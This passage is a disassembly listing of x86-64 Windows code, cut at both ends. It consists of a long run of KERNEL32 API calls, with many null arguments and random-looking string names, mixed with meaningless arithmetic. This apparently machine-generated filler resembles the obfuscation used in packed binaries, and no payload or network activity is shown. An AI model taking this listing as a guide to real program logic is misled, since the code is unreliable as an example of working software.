movzx ecx, byte [rsp + 0xa2]
shl eax, cl
mov byte [rsp + 0x28c], al
movsx eax, byte [rsp + 0x27c]
movsx ecx, byte [rsp + 0x2be]
or eax, ecx
mov byte [rsp + 0x54], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaa80], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ee0], eax
lea rcx, [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4928], eax
lea rax, [rsp + 0x650]
mov qword [rsp + 0xb688], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0x9ec0]
mov ecx, dword [rsp + 0x4a8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4228], eax
lea rax, [rsp + 0x11c8]
mov qword [0x14024f0c0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa5c8], rax
lea rcx, [0x140233a18]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14e4], ax
lea rdx, [rsp + 0x9740]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ec8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rcx, [rsp + 0xb690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
lea r8, [rsp + 0xb050]
mov rdx, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x9ab8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c3c], eax
mov rax, qword [rsp + 0xaac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov byte [rsp + 0x2d4], al
lea rcx, [rsp + 0xb070]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x21420]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x48f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb058], rax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xb698], rax
lea rdx, [rsp + 0x9960]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x493c], eax
movsx eax, word [rsp + 0x136c]
movsx ecx, word [rsp + 0x738]
sub eax, ecx
mov word [rsp + 0xaf8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb6a0], rax
movsx eax, byte [rsp + 0x2c9]
movsx ecx, byte [rsp + 0x1fc]
sub eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0xae20]
mov rcx, qword [rsp + 0xa930]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d30], eax
mov rax, qword [rsp + 0xa868]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xac38]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14024f23a], ax
mov dword [rsp + 0x20], 0x1ed1
mov r9d, 0x2d23
mov r8d, 0x2286
mov edx, 0x3b3
mov rcx, qword [rsp + 0xa400]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4d50], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xaf98]
mov rax, qword [rax]
mov qword [rsp + 0xb6a8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.kTldUdY8usLch
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb6b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b2], al
lea rcx, [rsp + 0x22080]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4b08], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x86f0]
mov qword [rsp + 0xb6b8], rax
lea rcx, str.9_GXEejBEx_0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14e8], ax
lea rdx, [rsp + 0xa110]
mov rcx, qword [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e3c], eax
mov dword [rsp + 0x20], 0x1f4d
mov r9d, 0x1947
mov r8d, 0x31c2
mov edx, 0xc79
mov rcx, qword [rsp + 0xa860]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4da8], eax
mov r9d, 2
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ee8], eax
movsx eax, word [rsp + 0xcc8]
movsx ecx, word [rsp + 0x1000]
shl eax, cl
mov word [rsp + 0xf90], ax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0xb6c0], rax
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x4884]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4114], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rdx, [rsp + 0xab98]
mov rcx, qword [rsp + 0xa1d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4eec], eax
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0xb480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48d4]
add ecx, eax
mov eax, ecx
mov dword [0x14022fbd4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx ecx, word [rsp + 0x1104]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfcc], ax
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99f0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb6c8], rax
movzx eax, word [0x14024f268]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1308], ax
lea rcx, [rsp + 0x9ce8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x1368]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14dc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.OpUQ9OgYUpJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb6d0], rax
lea rax, [rsp + 0x72]
mov qword [rsp + 0xb6d8], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4904]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b1c], eax
movzx ecx, word [rsp + 0x1100]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14ec], ax
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x2d5], al
mov dword [rsp + 0x20], 0x2693
mov r9d, 0x1042
mov r8d, 0x1a70
mov edx, 0x2cd4
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4914], eax
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1258]
sub eax, ecx
mov word [rsp + 0xa24], ax
lea rdx, [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b68], eax
mov dword [rsp + 0x20], 0x334
mov r9d, 0x37ab
mov r8d, 0x292c
mov edx, 0x2582
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e98], eax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov dword [rsp + 0x4ef0], eax
lea rcx, str.Md_TtzQ5L
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0xa620]
mov rcx, qword [rsp + 0x9e68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x87e0], rax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb180]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29d], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx ecx, word [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rcx, qword [rsp + 0x9a30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f38c], eax
lea rax, [0x14022fb98]
mov qword [rsp + 0xb6e8], rax
lea rcx, str.S_MCiaj_l_UR1h
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14f4], ax
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [rsp + 0x85c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa2b8], rax
mov r9d, 0xed6
xor r8d, r8d
lea rdx, [rsp + 0xb568]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c8], eax
mov rax, qword [rsp + 0x9ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8680], rax
mov rax, qword [rsp + 0x9e28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb170]
mov qword [rsp + 0xb6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xa538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa450]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
mov word [rsp + 0x14f8], ax
movzx eax, byte [rsp + 0x2d2]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9a38]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb6c8], rax
mov eax, dword [rsp + 0x4b60]
mov ecx, dword [rsp + 0x3e24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x463c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb6f8], rax
lea rax, [rsp + 0x974]
mov qword [0x14024f0b8], rax
mov rax, qword [rsp + 0xafd8]
mov rcx, qword [rsp + 0x8960]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa438]
mov qword [rcx], rax
lea rdx, [rsp + 0x9d00]
mov rcx, qword [rsp + 0xb368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4950], eax
mov rcx, qword [rsp + 0xb120]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.HceBnE_Ctg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14fc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, [rsp + 0x1a948]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.RO3_Sfb7.BHhR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1500], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0x86c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb288]
mov eax, dword [rax]
mov dword [rsp + 0x4ef4], eax
mov r9d, 2
lea r8, [rsp + 0xa388]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ef8], eax
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.UOeggkHOC5CtrivyCNrImLJLmlDh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb700], rax
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e7c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x60]
mov qword [rsp + 0xb708], rax
mov r9d, 0xe66
xor r8d, r8d
lea rdx, [rsp + 0xa5b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ea8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0x89e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9970], rax
mov rax, qword [rsp + 0xb438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13b0]
sub eax, ecx
mov word [rsp + 0x91c], ax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xb710], rax
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [0x14024f3a0], al
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x108c]
mov rcx, qword [rsp + 0x9660]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x8ee8]
mov rdx, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0xa7f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cc8], eax
mov rax, qword [rsp + 0xacf0]
movzx eax, byte [rax]
mov byte [rsp + 0x2d6], al
lea rdx, [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4efc], eax
mov r9d, 1
lea r8, [rsp + 0xa918]
mov rdx, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xaf00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a34], eax
lea rcx, str.62LrHu_O7D
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1504], ax
mov eax, dword [rsp + 0x4a40]
mov ecx, dword [rsp + 0x43a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44a4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3fb1
mov r9d, 0x572
mov r8d, 0x7ed44c5d
mov edx, 2
mov rcx, qword [rsp + 0xaf70]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a6c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x9d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x714], ax
lea rcx, str.Dw_cgexaf.C5dM_CTcex6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1508], ax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25a]
sub eax, ecx
mov rcx, qword [rsp + 0x9658]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2b0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa628]
movzx eax, word [rax]
mov word [rsp + 0x150c], ax
mov rax, qword [0x14024f308]
mov rcx, qword [rsp + 0xb4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xace0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb718], rax
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
mov byte [0x14024f0b0], al
lea rcx, [rsp + 0x1a978]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa280]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8958], rax
lea rcx, [rsp + 0x21e40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0x8318]
movzx ecx, al
mov rax, qword [rsp + 0xa6c0]
sar rax, cl
mov qword [rsp + 0x8538], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x19a0
xor r8d, r8d
lea rdx, [rsp + 0x98c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4eb4], eax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0xb0e8]
mov qword [rsp + 0xb720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb720]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaf88], rax
lea rcx, [rsp + 0xafb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0xb400]
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f00], eax
mov rcx, qword [rsp + 0xb718]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d40], eax
mov eax, dword [rsp + 0x3f08]
mov dword [rsp + 0x4f04], eax
lea rcx, [rsp + 0x1abe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov qword [rsp + 0x20], 0
mov r9d, 0x2d40
mov r8d, 0x1d75
mov edx, 0x39
mov rcx, qword [rsp + 0xa6d0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4ec4], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov rax, qword [rsp + 0x9330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa198]
div qword [rcx]
mov qword [rsp + 0x9a08], rax
mov r9d, 0x22a5
xor r8d, r8d
lea rdx, [rsp + 0x90d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e00], eax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb310]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x30f3
mov r9d, 0x2a82
mov r8d, 0xee5f5c08
mov edx, 2
mov rcx, qword [rsp + 0xab58]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4b6c], eax
lea rcx, [rsp + 0xb728]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
movsx eax, byte [rsp + 0x288]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx eax, byte [rsp + 0x296]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x14024f1c0], al
lea rax, [0x14022fb94]
mov qword [rsp + 0xb730], rax
lea rcx, [rsp + 0xb520]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x14cc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1510], ax
movzx ecx, word [rsp + 0x1148]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf68], ax
movzx ecx, word [rsp + 0xfcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1514], ax
mov r9d, 0x788
xor r8d, r8d
lea rdx, [rsp + 0xb5c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a74], eax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c90], eax
mov eax, dword [rsp + 0x490c]
mov ecx, dword [rsp + 0x4cc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x469c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.v10QyvmNdsfy7lONkhjSF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb738], rax
movzx eax, byte [rsp + 0x2c8]
mov byte [rsp + 0x2d7], al
lea rdx, [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xac28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [rsp + 0x221a0], 0x11c
mov rcx, qword [rsp + 0xaba0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xadc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x27a]
sub eax, ecx
mov rcx, qword [rsp + 0x9db8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rdx, [rsp + 0xb740]
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xb438]
movzx eax, word [rax]
mov word [rsp + 0x1518], ax
mov eax, dword [rsp + 0x4d30]
mov ecx, dword [0x14022fb68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4120], eax
movzx ecx, word [rsp + 0x1220]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80c8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb748], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xb548]
mov ecx, dword [0x14022fba0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f1dc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xaf28], rax
movzx eax, word [rsp + 0x1390]
